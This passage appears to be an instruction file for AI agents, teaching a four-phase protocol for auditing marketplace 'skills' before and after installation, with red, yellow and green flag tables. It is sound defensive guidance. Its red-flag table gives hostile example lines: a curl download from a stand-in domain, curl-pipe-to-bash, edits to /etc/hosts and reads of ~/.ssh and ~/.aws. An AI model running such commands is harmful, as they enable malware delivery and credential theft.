skill-security-protocol

Teach your AI agent to think about security. A reasoning methodology for vetting skills before installation — red/green flag heuristics, 4-phase audit protocol, post-install verification. No scripts, no dependencies. Just judgment. Built on fallibilism (being wrong about a skill's safety is recoverable; being overconfident is not) and relational security (you and your human decide together on edge cases — trust is built through transparency, not just detection).

# Skill Security Protocol

*Don't just scan for threats. Learn to think about them.*

---

## What This Is

A **reasoning methodology** for AI agents to evaluate skills before installation. Not a scanner. Not a script. A way of thinking.

Most security tools pattern-match against known threats. That catches yesterday's attacks. This skill teaches you to **reason about trust, risk, and intent** — so you catch tomorrow's attacks too.

**Zero dependencies.** Pure instruction-based. If your agent can read, your agent can use this.

---

## Why This Exists

The ClawHub ecosystem is open. Anyone can publish a skill. Most are safe. Some aren't.

Your human trusts you to install skills on their system. That trust is sacred. A bad skill can:
- Exfiltrate private data (memory files, credentials, conversations)
- Execute arbitrary code (shell scripts, binaries)
- Modify system files (configs, SSH keys, crontabs)
- Open network connections (C2 servers, data exfiltration endpoints)
- Create persistence mechanisms (cron jobs, startup scripts)

**Your job:** Catch this before it happens. Not by running someone else's scanner — by **understanding what to look for and why.**

---

## The Core Principle

> **If you can't explain why a skill is safe, it isn't safe yet.**

Security isn't about finding threats. It's about **establishing trust through evidence.** A skill is untrusted by default. Your job is to move it toward trusted — or reject it.

---

## Quick Start

```
/security vet <skill-name>       # Full 4-phase security audit
/security quick <skill-name>     # Fast red/green flag check
/security post-install <skill>   # Post-installation verification
/security explain <decision>     # Explain your security reasoning
```

---

## The 4-Phase Protocol

### Phase 1: Reconnaissance 🔍

**Goal:** Understand what you're evaluating before you evaluate it.

**Steps:**
```bash
clawhub search "<topic>"                    # Find candidates
clawhub inspect <skill-name> --files        # List ALL files (names, sizes, types)
clawhub inspect <skill-name> --file <name>  # Read each file's content
```

**What to note:**
- Total number of files and their types
- File sizes (unusually large files are suspicious)
- Unexpected file types (binaries, executables, archives)
- Directory structure (deeply nested = potential hiding)
- Presence of scripts (`.sh`, `.py`, `.js`, etc.)

**Key question:** *"What does this skill contain, and does that match what it claims to do?"*

---

### Phase 2: Security Analysis 🔬

**Goal:** Evaluate each file for red and green flags.

#### 🔴 Red Flags (DO NOT INSTALL)

| Flag | Why It's Dangerous | Example |
|------|-------------------|---------|
| **Shell scripts modifying system files** | Can alter configs, SSH keys, firewall rules | `echo >> /etc/hosts` |
| **Network requests to unknown endpoints** | Data exfiltration, C2 communication | `curl http://sketchy-domain.xyz/payload` |
| **Hardcoded paths for other systems** | May indicate copied/untested code | `/Users/someone/specific/path` |
| **Binary executables** | Can't be audited, could do anything | `.exe`, `.bin`, ELF binaries |
| **Requests for elevated permissions** | Unnecessary privilege escalation | `sudo`, `chmod 777`, SUID bits |
| **Obfuscated or unclear code** | Hiding intent is a threat signal | Base64-encoded commands, minified scripts |
| **Download and execute patterns** | Classic malware delivery | `curl ... \| bash`, `wget && chmod +x` |
| **Credential harvesting** | Stealing tokens, keys, passwords | Reading `~/.ssh/`, `~/.aws/`, env vars |
| **Persistence mechanisms** | Surviving reboots without consent | Adding to crontab, systemd, `.bashrc` |
| **Disabling security tools** | Covering tracks | Modifying firewall, disabling logging |

**If ANY critical red flag is present → STOP. Do not install. Report to human.**

#### 🟡 Yellow Flags (Investigate Further)

| Flag | What to Check |
|------|---------------|
| **Scripts that appear benign but are complex** | Read every line. Understand every command |
| **Dependencies on external packages** | What do those packages do? Are they trusted? |
| **Vague or missing documentation** | Why doesn't the author explain what this does? |
| **Very new author with no other skills** | Could be throwaway account |
| **Skill does more than described** | Why does a "weather" skill need network scanning? |
| **Environment variable access** | Which vars? Why? Necessary for function? |

**For yellow flags → Investigate. If you can't resolve the concern, ask your human.**

#### 🟢 Green Flags (Probably Safe)

| Flag | Why It's Reassuring |
|------|-------------------|
| **Pure instruction-based** (markdown/JSON only) | Can't execute anything — just text your agent reads |
| **No shell scripts or executables** | Nothing to run means nothing to exploit |
| **Clear, documented functionality** | Author has nothing to hide |
| **No system modifications** | Stays in its lane |
| **Transparent operation** | You can read and understand everything |
| **Established author with history** | Reputation is at stake |
| **Small, focused scope** | Does one thing well, nothing extra |
| **Open source with visible history** | Community review possible |

**All green, no red, no yellow → Safe to install.**

---

### Phase 3: Installation & Testing 🧪

**Goal:** Install safely and verify nothing unexpected happened.

**Steps:**
```bash
# Install the skill
clawhub install <skill-name>

# Immediately verify what was created
find ./skills/<skill-name> -type f -ls

# Check file types (no surprises)
file ./skills/<skill-name>/*

# Read any scripts that were installed
cat ./skills/<skill-name>/*.sh   # if any exist
cat ./skills/<skill-name>/*.py   # if any exist
```

**Before first use:**
- Verify installed files match what you saw in `clawhub inspect`
- No extra files appeared that weren't in the listing
- No file contents changed from what you reviewed
- Scripts match what you audited in Phase 2

**If anything doesn't match → Uninstall immediately. Alert human.**

---

### Phase 4: Post-Install Verification 🔒

**Goal:** Confirm the skill didn't do anything unexpected to the system.

**Checks to run:**
```bash
# Check for new processes
ps aux | head -20

# Check for new network listeners
ss -tulpn | grep LISTEN

# Check for new cron jobs
crontab -l

# Check for modified system files (if concerned)
ls -la ~/.ssh/
ls -la ~/.bashrc

# Verify no hidden files were created
find ./skills/<skill-name> -name ".*" -type f

# Check recent file modifications in workspace
find . -newer ./skills/<skill-name>/SKILL.md -type f 2>/dev/null | head -20
```

**What you're looking for:**
- No new processes spawned
- No new network connections opened
- No crontab entries added
- No hidden files created
- No files modified outside the skill directory

**If any unexpected changes → Uninstall. Revert. Alert human.**

---

## The Uncertainty Clause

**When in doubt, ask your human.**

This isn't about lacking confidence. It's about **collaborative security judgment.**

You're good at reading code and spotting patterns. Your human is good at context and risk tolerance. Together you make better security decisions than either alone.

**Ask when:**
- Yellow flags you can't resolve
- You're unsure about a script's intent
- The skill seems useful but has concerning elements
- Your gut says something's off but you can't articulate why

**Don't ask when:**
- Critical red flags (just don't install)
- All green flags (just install)
- You've done full analysis and are confident

---

## Security Reasoning Framework

When evaluating a skill, think through these questions in order:

### 1. What does this skill claim to do?
Read the description. Understand the stated purpose.

### 2. What does it actually contain?
List all files. Read all code. Note discrepancies with claims.

### 3. Does the content match the claims?
A "weather" skill shouldn't contain network scanners. A "writing" skill shouldn't need shell acce